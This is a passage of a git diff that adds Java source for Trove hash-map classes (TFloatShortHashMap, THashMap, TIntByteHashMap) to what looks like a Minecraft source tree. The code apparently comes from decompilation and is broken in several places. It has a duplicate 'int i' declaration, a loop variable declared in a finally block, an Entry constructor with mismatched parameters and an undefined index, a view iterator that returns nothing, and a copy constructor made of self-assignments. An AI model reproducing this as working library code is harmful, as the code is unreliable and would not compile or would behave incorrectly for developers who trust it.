+
+    public boolean remove(float entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!TFloatShortHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TFloatSet)) {
+        return false;
+      }
+      TFloatSet that = (TFloatSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TShortCollection
+  {
+    protected TValueView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TFloatShortHashMap.TFloatShortValueHashIterator(TFloatShortHashMap.this, TFloatShortHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return values();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      short[] values = _values;
+      float[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0F) && (set[i] != 2.0F) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TFloatShortKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TFloatShortKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TFloatShortValueHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TFloatShortValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TFloatShortHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatShortIterator
+  {
+    TFloatShortHashIterator(TFloatShortHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public float key()
+    {
+      return _set[_index];
+    }
+    
+    public short value()
+    {
+      return _values[_index];
+    }
+    
+    public short setValue(short val)
+    {
+      short old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TFloatShortMap)) {
+      return false;
+    }
+    TFloatShortMap that = (TFloatShortMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    short[] values = _values;
+    byte[] states = _states;
+    short this_no_entry_value = getNoEntryValue();
+    short that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        float key = _set[i];
+        short that_value = that.get(key);
+        short this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TFloatShortProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(float key, short value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeFloat(_set[i]);
+        out.writeShort(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      float key = in.readFloat();
+      short val = in.readShort();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/THashMap.java b/src/minecraft/gnu/trove/map/hash/THashMap.java
new file mode 100644
index 0000000..b0d2a9f
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/THashMap.java
@@ -0,0 +1,887 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.function.TObjectFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.procedure.TObjectObjectProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class THashMap<K, V>
+  extends TObjectHash<K>
+  implements Map<K, V>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient V[] _values;
+  
+  public THashMap() {}
+  
+  public THashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public THashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+  public THashMap(Map<K, V> map)
+  {
+    this(map.size());
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+  public THashMap(THashMap<K, V> map)
+  {
+    this(map.size());
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    
+    _values = ((Object[])new Object[capacity]);
+    return capacity;
+  }
+  
+
+
+
+
+
+
+
+
+  public V put(K key, V value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public V putIfAbsent(K key, V value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0) {
+      return _values[(-index - 1)];
+    }
+    return doPut(key, value, index);
+  }
+  
+  private V doPut(K key, V value, int index)
+  {
+    V previous = null;
+    
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    Object oldKey = _set[index];
+    _set[index] = key;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    
+    return previous;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof Map)) {
+      return false;
+    }
+    Map<K, V> that = (Map)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    return forEachEntry(new EqProcedure(that));
+  }
+  
+  public int hashCode()
+  {
+    THashMap<K, V>.HashProcedure p = new HashProcedure(null);
+    forEachEntry(p);
+    return p.getHashCode();
+  }
+  
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TObjectObjectProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(K key, V value)
+      {
+        if (first) {
+          first = false;
+        } else {
+          buf.append(",");
+        }
+        
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  private final class HashProcedure
+    implements TObjectObjectProcedure<K, V>
+  {
+    private int h = 0;
+    
+    private HashProcedure() {}
+    
+    public int getHashCode() { return h; }
+    
+
+    public final boolean execute(K key, V value)
+    {
+      h += (HashFunctions.hash(key) ^ (value == null ? 0 : value.hashCode()));
+      return true;
+    }
+  }
+  
+  private static final class EqProcedure<K, V> implements TObjectObjectProcedure<K, V>
+  {
+    private final Map<K, V> _otherMap;
+    
+    EqProcedure(Map<K, V> otherMap)
+    {
+      _otherMap = otherMap;
+    }
+    
+
+
+
+    public final boolean execute(K key, V value)
+    {
+      if ((value == null) && (!_otherMap.containsKey(key))) {
+        return false;
+      }
+      
+      V oValue = _otherMap.get(key);
+      return (oValue == value) || ((oValue != null) && (oValue.equals(value)));
+    }
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachKey(TObjectProcedure<K> procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachValue(TObjectProcedure<V> procedure)
+  {
+    V[] values = _values;
+    Object[] set = _set;
+    for (int i = values.length; i-- > 0;) {
+      if ((set[i] != FREE) && (set[i] != REMOVED) && (!procedure.execute(values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean forEachEntry(TObjectObjectProcedure<K, V> procedure)
+  {
+    Object[] keys = _set;
+    V[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean retainEntries(TObjectObjectProcedure<K, V> procedure)
+  {
+    boolean modified = false;
+    Object[] keys = _set;
+    V[] values = _values;
+    
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+        {
+
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+
+
+
+
+  public void transformValues(TObjectFunction<V, V> function)
+  {
+    V[] values = _values;
+    Object[] set = _set;
+    for (int i = values.length; i-- > 0;) {
+      if ((set[i] != FREE) && (set[i] != REMOVED)) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    Object[] oldKeys = _set;
+    V[] oldVals = _values;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    _values = ((Object[])new Object[newCapacity]);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldKeys[i] != FREE) && (oldKeys[i] != REMOVED)) {
+        Object o = oldKeys[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+        _values[index] = oldVals[i];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public V get(Object key)
+  {
+    int index = index(key);
+    if ((index < 0) || (!_set[index].equals(key))) {
+      return null;
+    }
+    return _values[index];
+  }
+  
+
+  public void clear()
+  {
+    if (size() == 0) {
+      return;
+    }
+    
+    super.clear();
+    
+    Arrays.fill(_set, 0, _set.length, FREE);
+    Arrays.fill(_values, 0, _values.length, null);
+  }
+  
+
+
+
+
+
+
+
+  public V remove(Object key)
+  {
+    V prev = null;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _values[index] = null;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+  public Collection<V> values()
+  {
+    return new ValueView();
+  }
+  
+
+
+
+
+
+  public Set<K> keySet()
+  {
+    return new KeyView();
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<K, V>> entrySet()
+  {
+    return new EntryView();
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    Object[] set = _set;
+    V[] vals = _values;
+    
+    int i;
+    int i;
+    if (null == val) {
+      for (i = vals.length; i-- > 0;) {
+        if ((set[i] != FREE) && (set[i] != REMOVED) && (val == vals[i]))
+        {
+          return true;
+        }
+      }
+    } else {
+      for (i = vals.length; i-- > 0;) {
+        if ((set[i] != FREE) && (set[i] != REMOVED) && ((val == vals[i]) || (val.equals(vals[i]))))
+        {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return contains(key);
+  }
+  
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends V> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends K, ? extends V> e : map.entrySet()) {
+      put(e.getKey(), e.getValue());
+    }
+  }
+  
+  protected class ValueView extends THashMap<K, V>.MapBackedView<V> {
+    protected ValueView() {
+      super(null);
+    }
+    
+    public Iterator<V> iterator() {
+      new TObjectHashIterator(THashMap.this) {
+        protected V objectAtIndex(int index) {
+          return _values[index];
+        }
+      };
+    }
+    
+    public boolean containsElement(V value)
+    {
+      return containsValue(value);
+    }
+    
+    public boolean removeElement(V value)
+    {
+      Object[] values = _values;
+      Object[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if (((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (value == values[i])) || ((null != values[i]) && (values[i].equals(value))))
+        {
+
+
+          removeAt(i);
+          return true;
+        }
+      }
+      
+      return false;
+    }
+  }
+  
+  protected class EntryView extends THashMap<K, V>.MapBackedView<Map.Entry<K, V>> {
+    protected EntryView() { super(null); }
+    
+    private final class EntryIterator extends TObjectHashIterator
+    {
+      EntryIterator() {
+        super();
+      }
+      
+
+      public THashMap<K, V>.Entry objectAtIndex(int index)
+      {
+        return new THashMap.Entry(THashMap.this, _set[index], _values[index], index);
+      }
+    }
+    
+
+    public Iterator<Map.Entry<K, V>> iterator()
+    {
+      return new EntryIterator(THashMap.this);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public boolean removeElement(Map.Entry<K, V> entry)
+    {
+      K key = keyForEntry(entry);
+      int index = index(key);
+      if (index >= 0) {
+        Object val = valueForEntry(entry);
+        if ((val == _values[index]) || ((null != val) && (val.equals(_values[index]))))
+        {
+          removeAt(index);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean containsElement(Map.Entry<K, V> entry)
+    {
+      Object val = get(keyForEntry(entry));
+      Object entryValue = entry.getValue();
+      return (entryValue == val) || ((null != val) && (val.equals(entryValue)));
+    }
+    
+
+    protected V valueForEntry(Map.Entry<K, V> entry)
+    {
+      return entry.getValue();
+    }
+    
+    protected K keyForEntry(Map.Entry<K, V> entry)
+    {
+      return entry.getKey();
+    }
+  }
+  
+  private abstract class MapBackedView<E>
+    extends AbstractSet<E>
+    implements Set<E>, Iterable<E>
+  {
+    private MapBackedView() {}
+    
+    public abstract Iterator<E> iterator();
+    
+    public abstract boolean removeElement(E paramE);
+    
+    public abstract boolean containsElement(E paramE);
+    
+    public boolean contains(Object key)
+    {
+      return containsElement(key);
+    }
+    
+
+    public boolean remove(Object o)
+    {
+      return removeElement(o);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public void clear()
+    {
+      THashMap.this.clear();
+    }
+    
+    public boolean add(E obj)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size()
+    {
+      return THashMap.this.size();
+    }
+    
+    public Object[] toArray()
+    {
+      Object[] result = new Object[size()];
+      Iterator<E> e = iterator();
+      for (int i = 0; e.hasNext(); i++) {
+        result[i] = e.next();
+      }
+      return result;
+    }
+    
+
+    public <T> T[] toArray(T[] a)
+    {
+      int size = size();
+      if (a.length < size) {
+        a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+      }
+      
+      Iterator<E> it = iterator();
+      Object[] result = a;
+      for (int i = 0; i < size; i++) {
+        result[i] = it.next();
+      }
+      
+      if (a.length > size) {
+        a[size] = null;
+      }
+      
+      return a;
+    }
+    
+    public boolean isEmpty()
+    {
+      return THashMap.this.isEmpty();
+    }
+    
+    public boolean addAll(Collection<? extends E> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      Iterator<E> i = iterator();
+      while (i.hasNext()) {
+        if (!collection.contains(i.next())) {
+          i.remove();
+          changed = true;
+        }
+      }
+      return changed;
+    }
+  }
+  
+  protected class KeyView extends THashMap<K, V>.MapBackedView<K> {
+    protected KeyView() { super(null); }
+    
+    public Iterator<K> iterator()
+    {
+      return new TObjectHashIterator(THashMap.this);
+    }
+    
+    public boolean removeElement(K key)
+    {
+      return null != remove(key);
+    }
+    
+    public boolean containsElement(K key)
+    {
+      return contains(key);
+    }
+  }
+  
+  final class Entry implements Map.Entry<K, V>
+  {
+    private K key;
+    private V val;
+    private final int index;
+    
+    Entry(V key, int value)
+    {
+      this.key = key;
+      val = value;
+      this.index = index;
+    }
+    
+
+    void setValue0(V aValue)
+    {
+      val = aValue;
+    }
+    
+    public K getKey()
+    {
+      return key;
+    }
+    
+    public V getValue()
+    {
+      return val;
+    }
+    
+    public V setValue(V o)
+    {
+      if (_values[index] != val) {
+        throw new ConcurrentModificationException();
+      }
+      
+      V retval = val;
+      
+      _values[index] = o;
+      val = o;
+      return retval;
+    }
+    
+    public boolean equals(Object o)
+    {
+      if ((o instanceof Map.Entry)) {
+        Map.Entry<K, V> e1 = this;
+        Map.Entry e2 = (Map.Entry)o;
+        return (e1.getKey() == null ? e2.getKey() == null : e1.getKey().equals(e2.getKey())) && (e1.getValue() == null ? e2.getValue() == null : e1.getValue().equals(e2.getValue()));
+      }
+      
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return (getKey() == null ? 0 : getKey().hashCode()) ^ (getValue() == null ? 0 : getValue().hashCode());
+    }
+    
+
+    public String toString()
+    {
+      return key + "=" + val;
+    }
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+        out.writeObject(_values[i]);
+      }
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    byte version = in.readByte();
+    
+
+    if (version != 0) {
+      super.readExternal(in);
+    }
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0)
+    {
+      K key = in.readObject();
+      
+      V val = in.readObject();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TIntByteHashMap.java b/src/minecraft/gnu/trove/map/hash/TIntByteHashMap.java
new file mode 100644
index 0000000..b2c7137
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TIntByteHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TIntByteHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TIntByteIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TIntByteMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TIntByteProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntByteHashMap
+  extends TIntByteHash
+  implements TIntByteMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient byte[] _values;
+  
+  public TIntByteHashMap() {}
+  
+  public TIntByteHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntByteHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TIntByteHashMap(int initialCapacity, float loadFactor, int noEntryKey, byte noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TIntByteHashMap(int[] keys, byte[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TIntByteHashMap(TIntByteMap map)
+  {
+    super(map.size());
+    if ((map instanceof TIntByteHashMap)) {
+      TIntByteHashMap hashmap = (TIntByteHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    int[] oldKeys = _set;
+    byte[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new int[newCapacity];
+    _values = new byte[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        int o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
